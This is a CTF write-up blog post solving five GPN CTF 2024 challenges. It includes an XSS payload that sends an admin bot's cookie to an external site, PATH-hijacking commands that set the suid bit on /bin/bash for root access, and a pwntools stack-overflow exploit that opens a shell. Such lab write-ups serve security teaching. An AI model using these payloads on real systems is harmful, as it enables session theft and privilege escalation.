- Published on
GPN CTF 2024 Writeups
- Authors
- Name
- 0xM4hm0ud
- @0xM4hm0ud
Introduction
These are the writeups for three pwn challenges, one misc challenge, and one web challenge.
Name | Category | Difficulty | Solves |
---|---|---|---|
Refined Notes | Web | Easy | 51 |
No Crypto | Misc | Easy | 24 |
Gift | Pwn | Easy | 9 |
Dreamer | Pwn | Easy | 10 |
Future of Pwning 1 | Pwn | Easy | 63 |
Refined Notes
Solution
This challenge doesn't have source files, so let's visit the two provided sites:
Challenge page
Admin bot page
So we can give a UUID to the admin, and the bot will visit it. We can see that if we create a note, we will be redirected to a page with the UUID in the URL. So this UUID can be given to the bot.
If we check the HTML source code of the challenge page, we see:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Refined Note Taking App</title>
<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.4/dist/purify.min.js"></script>
<script defer src="/static/index.js"></script>
</head>
<body class="bg-gray-100 p-4">
<div class="max-w-lg mx-auto">
<h1 class="text-2xl font-bold mb-4">Refined Note Taking App</h1>
<div id="container" class="mb-4 flex flex-col">
<iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc="a"></iframe>
<textarea type="text" id="note" class="hidden w-full px-3 py-2 border rounded-md h-60" placeholder="Enter your note here"></textarea>
<button id="submit" class="hidden mt-2 px-4 py-2 bg-blue-500 text-white rounded-md">Add Note</button>
</div>
</div>
</body>
We can see that our input is put in the srcdoc
attribute of the iframe
. We also see an index.js
file. Let's check that file:
submit.addEventListener('click', (e) => {
const purified = DOMPurify.sanitize(note.value);
fetch("/", {
method: "POST",
body: purified
}).then(response => response.text()).then((id) => {
window.history.pushState({page: ''}, id, `/${id}`);
submit.classList.add('hidden');
note.classList.add('hidden');
noteframe.classList.remove('hidden');
noteframe.srcdoc = purified;
});
});
We can see that when we submit a note, it first sanitizes our input with DOMPurify
. It's using version 3.1.4
; 3.1.5
is the latest version at the moment I am writing this. There is no CVE or known bypass for this version as far as I know.
After sanitizing, it will post it to the backend. If we get a response back, it will put our input purified
inside noteframe.srcdoc
.
So what is the goal of this challenge?
We need to get XSS to steal the cookie of the bot. Most of the time when there is a bot, the goal is to steal the cookie. We need to find a way to get XSS. A DOMPurify bypass is probably not the way. The interesting part is that our input is directly put inside the srcdoc attribute of an iframe.
I first tried to close the srcdoc attribute and add a src attribute. It didn't trigger anything, so I thought it took the input literally and moved on to find some other stuff. But it didn't work because when an iframe contains a src and srcdoc attribute, the srcdoc attribute will take priority.
From here: If the src attribute and the srcdoc attribute are both specified together, the srcdoc attribute takes priority. This allows authors to provide a fallback URL for legacy user agents that do not support the srcdoc attribute.
So you can use other attributes to get XSS here. But the intended way to solve this, which I did during the CTF, was using HTML encoded entities.
My teammate found this issue on Github.
So when using a payload like this <img src=x:x onerror=alert(1)>
, it will give us an alert:
So now we can easily change the payload to send us the cookie:
<img src=x:x onerror=document.location='YOURSITE/?f='+document.cookie>
If we send it to the admin bot and check our webhook, we get the flag:
No crypto
CTF | GPN CTF (CTFtime) |
Author | 13x1 |
Category | Miscellaneous |
Solves | 24 |
Files | no-crypto.tar.gz |
Solution
When we unzip the file, we can see a few files. Let's check the source of the binary called cli:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
while (1) {
char date[256];
printf("Guess when I was encrypted ([YYYY]-[MM]-[DD]T[HH]:[MM]:[SS]+[HH]:[MM]): ");
if (fgets(date, sizeof(date), stdin) == NULL) {
printf("Error reading input.\n");
return 1;
}
date[strcspn(date, "\n")] = '\0';
pid_t pid = fork();
if (pid == -1) {
printf("Error forking process.\n");
return 1;
} else if (pid == 0) {
// Child process
char* argv[] = {"openssl", "enc", "-d", "-aes-256-cbc", "-k", date, "-pbkdf2", "-base64", "-in", "flag.enc", "-out", "/dev/null", NULL};
execvp("openssl", argv);
printf("Error running openssl.\n");
return 1;
} else {
// Parent process
int status;
waitpid(pid, &status, 0);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
printf("The guessed date is correct!\n");
return 0;
} else {
printf("The guessed date is incorrect. Try again!\n");
}
}
}
}
So, the binary first asks for a date. It then tries to decrypt the flag.enc file, and if the date is correct, it will let us know; otherwise, it will tell us it is wrong.
If we check the encrypt.sh
file, we see that it encrypts the flag with OpenSSL based on the date:
date=$(date -uIseconds)
openssl enc -aes-256-cbc -k "$date" -pbkdf2 -base64 -in flag -out flag.enc
Let's check the Dockerfile of the challenge:
# docker build -t no-crypto . && docker run -p 1337:1337 -t no-crypto
FROM debian:bullseye
RUN apt-get update && apt-get install -y --no-install-recommends build-essential openssl socat \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN mkdir /app
ARG FLAG=GPNCTF{fake_flag}
RUN echo "$FLAG" > /app/flag
COPY cli.c encrypt.sh /app/
WORKDIR /app/
RUN gcc -o cli cli.c \
&& bash encrypt.sh && rm flag \
&& chmod u+s cli \
&& chmod 700 /app/flag.enc
# save space in final image by uninstalling gcc and apt
RUN apt-get remove -y build-essential && apt-get autoremove -y && rm -rf /var/lib/apt/lists/*
RUN useradd -m ctf
USER ctf
EXPOSE 1337
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:/bin/bash,pty,stderr,sigint,sane
Here, we can see that it echoes the flag inside /app/flag
. It then compiles the cli
binary and runs encrypt.sh
. After this, it will remove the flag and make the cli binary a suid
binary. It also changes the permission of flag.enc
so that only root can access it.
A few points we notice here is:
ARG
is used for the flag, so the flag will not be available during runtime, only build time. IfENV
was used, it would be accessible inside the container, but it is not useful because there is no process running as root; otherwise, we could get root and access/proc/$PID/environ
.- Because of
chmod u+s
,cli
is asuid
binary. This means that no matter which user runs the binary, it always runs as the user that owns the file. In this caseroot
. - We see that
encrypt.sh
is run, so we should check the date whenflag.enc
is created.
So, what is the bug?
A suid binary is not vulnerable by default. There are a few standard binaries in Linux that always have a suid bit, for example, passwd
:
So, it depends on the binary itself if it's vulnerable or not. If we take a closer look at cli.c
, we can see that it calls openssl
without using a full path (e.g., /bin/openssl)
:
char* argv[] = {"openssl", "enc", "-d", "-aes-256-cbc", "-k", date, "-pbkdf2", "-base64", "-in", "flag.enc", "-out", "/dev/null", NULL};
execvp("openssl", argv);
This means we can perform a trick called path hijacking
. In Linux, when we call a binary, the system searches for the binary in a list of directories defined in the $PATH
environment variable. We can modify this environment variable to anything we want.
An explanation of such attack, taken from here:
- Path Environment Variable: Linux systems have an environment variable called "PATH" that contains a list of directories in which the system searches for executable files. When a command is executed, the system looks for the corresponding executable file in these directories in the order specified by the PATH variable.
- Finding a Vulnerable Application: The attacker looks for a vulnerable application that performs file operations or executes commands without properly validating user-supplied input or controlling the search path. For example, an application that uses relative paths or does not sanitize user input.
- Identifying the Vulnerable Path: The attacker identifies a vulnerable point in the application where the input is used to construct a file path or command without proper validation. The goal is to find a way to manipulate the path used by the application to execute arbitrary files or commands.
- Crafting the Attack: The attacker provides input that includes special characters or sequences to manipulate the path. These characters or sequences are designed to bypass security checks and allow the attacker to traverse directories or execute arbitrary files.
- Exploiting the Vulnerability: By carefully constructing the input, the attacker can trick the vulnerable application into executing a malicious file or command. This can lead to various consequences, such as arbitrary code execution, unauthorized access, or privilege escalation.
In this challenge, we can do something like this:
echo -e '#!/bin/bash -p\nchmod +s /bin/bash' > /tmp/openssl # [1]
chmod +x /tmp/openssl # [2]
export PATH="/tmp:$PATH" # [3]
- Here we create a file in
/tmp
with some code that will make thebash
binary a suid binary. - We make the file executable.
- We add the directory
/tmp
to ourPATH
. Notice that we add it at the beginning, so the system looks there first.
We can see that /tmp
is now added. With this setup, when we call cli
, it will run as root and execute our custom openssl
binary.
We can see here that we successfully added a suid bit to bash
. If we run bash -p
, we will get the effective UID and GID of root. With this, we can read flag.enc
.
We can now use stat
on the file to see the exact date of the file:
We change the format a little bit and can run this command to decrypt the flag:
openssl enc -d -aes-256-cbc -k "2024-05-29T01:31:06+00:00" -pbkdf2 -base64 -in flag.enc -out flag.txt
During the ctf, I used the date from the output of ls -la
, so I bruteforced the correct date.
#!/bin/bash
# Define the start and end times for the brute-force range
start_time="2024-05-29T01:31:00+00:00" # Adjust the date to the correct format and time
end_time="2024-05-29T01:32:00+00:00" # Brute-forcing within a 1-minute window for example
# Convert start and end times to seconds since epoch
start_epoch=$(date -d "$start_time" +%s)
end_epoch=$(date -d "$end_time" +%s)
# Loop through each second in the range
for ((epoch=$start_epoch; epoch<=$end_epoch; epoch++)); do
# Convert epoch back to the date format used in the key
date=$(date -u -d "@$epoch" +"%Y-%m-%dT%H:%M:%S+00:00")
# Attempt to decrypt the file
output=$(openssl enc -d -aes-256-cbc -k "$date" -pbkdf2 -base64 -in flag.enc -out - 2>/dev/null)
# Check if decryption was successful and contains "GPNCTF{"
if [[ "$output" == *"GPNCTF{"* ]]; then
echo "Decryption successful with key: $date"
echo "$output"
break
fi
done
exit 1
Gift
CTF | GPN CTF (CTFtime) |
Author | intrigus |
Category | Pwning |
Solves | 9 |
Files | gift.tar.gz |
Solution
After unzipping, we get the source code of the challenge:
.section .text
.global _start
read_input:
# Read 314 bytes + 16 free bytes from stdin to the stack
sub $314, %rsp # Make room for the input
mov $0, %rax # System call number for read
mov $0, %rdi # File descriptor for stdin
mov %rsp, %rsi # Address of the stack
mov $330, %rdx # Number of bytes to read
syscall # Call the kernel
add $314, %rsp # Restore the stack pointer
ret
_start:
# Print the message to stdout
mov $1, %rax # System call number for write
mov $1, %rdi # File descriptor for stdout
mov $message, %rsi # Address of the message string
mov $message_len, %rdx # Length of the message string
syscall # Call the kernel
call read_input
# Exit the program
mov $60, %rax # System call number for exit
xor %rdi, %rdi # Exit status 0
xor %rsi, %rsi # I like it clean
xor %rdx, %rdx # I like it clean
syscall # Call the kernel
message: .asciz "Today is a nice day so you get 16 bytes for free!\n"
message_len = . - message
The challenge is made in assembly. It does 3 main things:
- Prints the message to stdout
- Read input from the user
- Exit the program
When reading our input, it gives 16 bytes extra as a gift. We can see that it subtracts 314 from rsp. We can send 330 bytes. This means that we have an overflow. We can hit the rip with 314 bytes.
The size of rip is 8 bytes. Thus, we can send 314 + 8(this will be placed in rip) = 322 bytes to control rip. The read syscall returns the amount it reads in rax. If we check what the syscall of 322/0x142 is, we see that it's execveat
. With this, we can execute commands. At the ret of read_input
, rsi still contains the address of our input. So we can put /bin/sh
at the start of our buffer.
When we overflow and jump to the syscall gadget, we can see:
We see that rdx is not empty, so it will segfault. Luckily, there is a gadget that xors rdx before calling syscall. It's used when exiting the program (check the source above).
So my final script looks like this:
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
b *read_input+0x28
c
'''.format(**locals())
exe = './gift'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
context(terminal=['tmux', 'split-window', '-h'])
REMOTE = True
if REMOTE:
io = start(ssl=True)
else:
io = start()
payload = flat(
b'/bin/sh\x00',
b'A' * (314 - 8),
0x401059
)
io.sendafter(b'!\n', payload)
io.interactive()
If we run this on remote, we can get the flag:
Dreamer
CTF | GPN CTF (CTFtime) |
Author | s1nn105 |
Category | Pwning |
Solves | 10 |
Files | dreamer.tar.gz |
Solution
After unzipping, we get the source code of the challenge:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#define ROTL(X, N) (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N))))
#define ROTR(X, N) (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N))))
unsigned long STATE;
unsigned long CURRENT;
char custom_random(){
STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5);
return STATE % 256;
}
void* experience(long origin){
char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t k = 0;
while(k<106){
*(ccol+k) = 0x90; //nop just in case;
k++;
}
k=16;
*((int*)ccol) = origin;
while(k<100){
*(ccol+k)=custom_random();
k++;
}
return ccol;
}
void sleepy(void * dream){
int (*d)(void) = (void*)dream;
d();
}
void win(){
execv("/bin/sh",NULL);
}
void setup(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(){
setup();
long seed=0;
printf("the win is yours at %p\n", win);
scanf("%ld",&seed);
STATE = seed;
printf("what are you thinking about?");
scanf("%ld",&seed);
sleepy(experience(seed));
}
We can see that we can provide a seed two times. The first one is stored in a global variable STATE, and the other one is given to the experience function.
In the experience function, a read-write-execute (RWX) memory section is created, and 160 NOPs are inserted. Then, the origin value is placed at the start of the section. The origin value corresponds to the last seed we provide. Subsequently, the function runs 84 times, calling custom_random() each time. This function performs some encryption based on our STATE. After this, the function sleepy() executes our shellcode.
Initially, I considered brute-forcing all possibilities to obtain a valid shellcode at the end the correct way, but that would be infeasible.
How can we call the win function?
When the shellcode is called with call rax
, the return address is pushed onto the stack. Since the return address is in the binary section, it is close to the win function.
Here is the stack before calling our shellcode:
Here is the stack after calling our shellcode:
Thus, we can calculate the offset between the return address and the win function:
The offset is 3. Therefore, we can add 3 to the pointer at rsp(top of the stack, our return address) and then return. We need to put this payload in the origin. This is because the other one gets encrypted. We only have 4 bytes to do this, because it casts *((int*)ccol) = origin;
.
We can use the shell-storm assembler:
We need to convert this to decimal. We can do this in python. We need to reverse the order because of the endianness:
For the ret instruction to call the win function, we need to find a number that will become ret after encryption. You can easily brute-force this and find that using 108 will become ret.
So if we submit both and check in gdb, we can observe this:
We can see that we increased the pointer by 3. It is now pointing to the win function. If we step through to skip the NOPs, we can see our ret:
So now it will return to the win function and get the flag:
Future of Pwning 1
CTF | GPN CTF (CTFtime) |
Author | Ordoviz |
Category | Pwning |
Solves | 63 |
Files | future-of-pwning-1.tar.gz |
Solution
After unzipping the file, we can see a few files.
If we check the Dockerfile, we can see that it uses an emulator from Github.
# docker build -t future-of-pwning-1 . && docker run -p 5000:5000 --rm -it future-of-pwning-1
FROM python:3.12
RUN apt-get update -y && apt-get install -y --no-install-recommends build-essential curl \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir flask
RUN curl -L https://github.com/ForwardCom/bintools/archive/779c06891cba05a97a214a23b7a63aeff25d983a.tar.gz | tar zxf -
WORKDIR bintools-779c06891cba05a97a214a23b7a63aeff25d983a
RUN make -f forw.make && mkdir /app && cp forw instruction_list.csv /app
WORKDIR /app
ARG FLAG=GPNCTF{fake_flag}
RUN echo "$FLAG" > /flag
COPY app.py ./
EXPOSE 5000
ENV FLASK_APP=app.py
CMD ["flask", "run", "--host=0.0.0.0"]
It compiles the emulator and runs app.py
. Let's check app.py
:
from flask import Flask, request, redirect, url_for
import subprocess
app = Flask(__name__)
@app.route("/")
def upload_form():
return """
<!doctype html>
<html>
<body>
<h2>ForwardCom Emulator</h2>
Please upload a binary to emulate.
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
</body>
</html>
"""
@app.route("/upload", methods=["POST"])
def upload_file():
if "file" not in request.files:
return redirect(url_for("upload_form"))
file = request.files["file"]
file.save("/tmp/binary.ex")
data = subprocess.check_output(["/app/forw", "-emu", "/tmp/binary.ex"])
return data[-500:]
if __name__ == "__main__":
app.run(debug=False)
So app.py
just runs a Flask web server where we can upload a binary, and it will emulate it with forw
. We can also see an instruction_list.csv
file. This file is just added so that the emulator can work.
If we run the binary forw
, we can see a few things we can do in the help menu:
Usage: forw command [options] inputfile [outputfile] [options]
Command:
-ass Assemble
-dis Disassemble object or executable file
-link Link object files into executable file
-relink Relink and modify executable file
-lib Build or manage library file
-emu Emulate and debug executable file
-dump-XXX Dump file contents to console.
Values of XXX (can be combined):
f: File header, h: section Headers, s: Symbol table,
m: Relinkable modules, r: Relocation table, n: string table.
-help Print this help screen.
....
Example:
forw -ass test.as test.ob
forw -link test.ex test.ob libc.li
forw -emu test.ex -list=debugout.txt
So our goal is to make a binary that when emulated will give us the flag. When I googled for the emulator, I found a nice documentation about it.
I also used the Github page with examples.
In chapter 12.4, we can read about the calling convention. It states that: The first 16 parameters to a function that fit into a general purpose register are transferred in register r0 – r15. The first 16 parameters that fit into a vector register are transferred in v0 – v15
We can also read about the return value:
Function return values follow the following rules: A single return value is returned in r0 or v0, using the same rules as for function parameters. Multiple return values of the same type are treated as a tuple if possible and returned in v0 if the total size is no more than 16 bytes. A function with two return values will use two registers for return, using two of the registers r0, r1, v0, v1 as appropriate, if each of the two values will fit into a single register according to the above rules. For example, a function can return a result in v0 and an error code in r0. Or a function can return two vectors of variable length.
We can also read how to create a section(in the code example part of the documentation):
Also for calling external functions.
I downloaded the libc.li
from this Github repository. We can also see all supported functions.
To make it easier, let's create a script:
#!/bin/bash
./forw -ass test.as test.ob
./forw -link test.ex test.ob libc.li
./forw -emu test.ex
Now we can start with creating our assembly file:
// Here we define a section with 2 strings that I will use later in fopen.
const section read ip
file: int8 "/flag", 0
md: int8 "rb", 0
const end
// Here I create another section that is writable. I also use uninitialized, so the section only coontains zeroes.
bss section datap uninitialized
int64 buffer[80]
bss end
// Here I start the code section. So this will be executed.
code section execute align = 4
extern _fread: function // Calling external function from libc.li
extern _fopen: function
extern _puts: function
_main function public // Defining the main function
int64 r0 = address([file]) // Here I put the address of the file variable I defined above in r0
int64 r1 = address([md]) // Here I put the address of the md variable I defined above in r1
call _fopen // Here I call fopen with the arguments. So it will run fopen("/flag", "rb")
int64 r15 = r0 // The return value of fopen will be the fd. I put it in a random register that I can use later. In this case r15
int64 r0 = address([buffer]) // Here I put the address of the buffer in r0
int64 r1 = 1 // This is the size in bytes that fread will use to read
int64 r2 = 80 // This is the number of elements that fread will use to read
int64 r3 = r15 // Here I put the fd from fopen in r3
call _fread // Here I call fread like this: fread(buffer, 1, 80, fd)
int64 r0 = address([buffer])
call _puts // Now after fread the flag will be in buffer, so we can print it out.
// Here we just clear and exit
int r0 = 0
return
_main end
code end
So it actually does this:
int main() {
int fd;
char buffer[80] = {};
fd = fopen("/flag", "rb");
fread(buffer, 1, 80, fd);
puts(buffer);
return 0;
}
Let's create a fake flag at /flag
, so we can compile without errors. After compiling, we can see that it prints the flag:
If we upload this binary, we get the flag: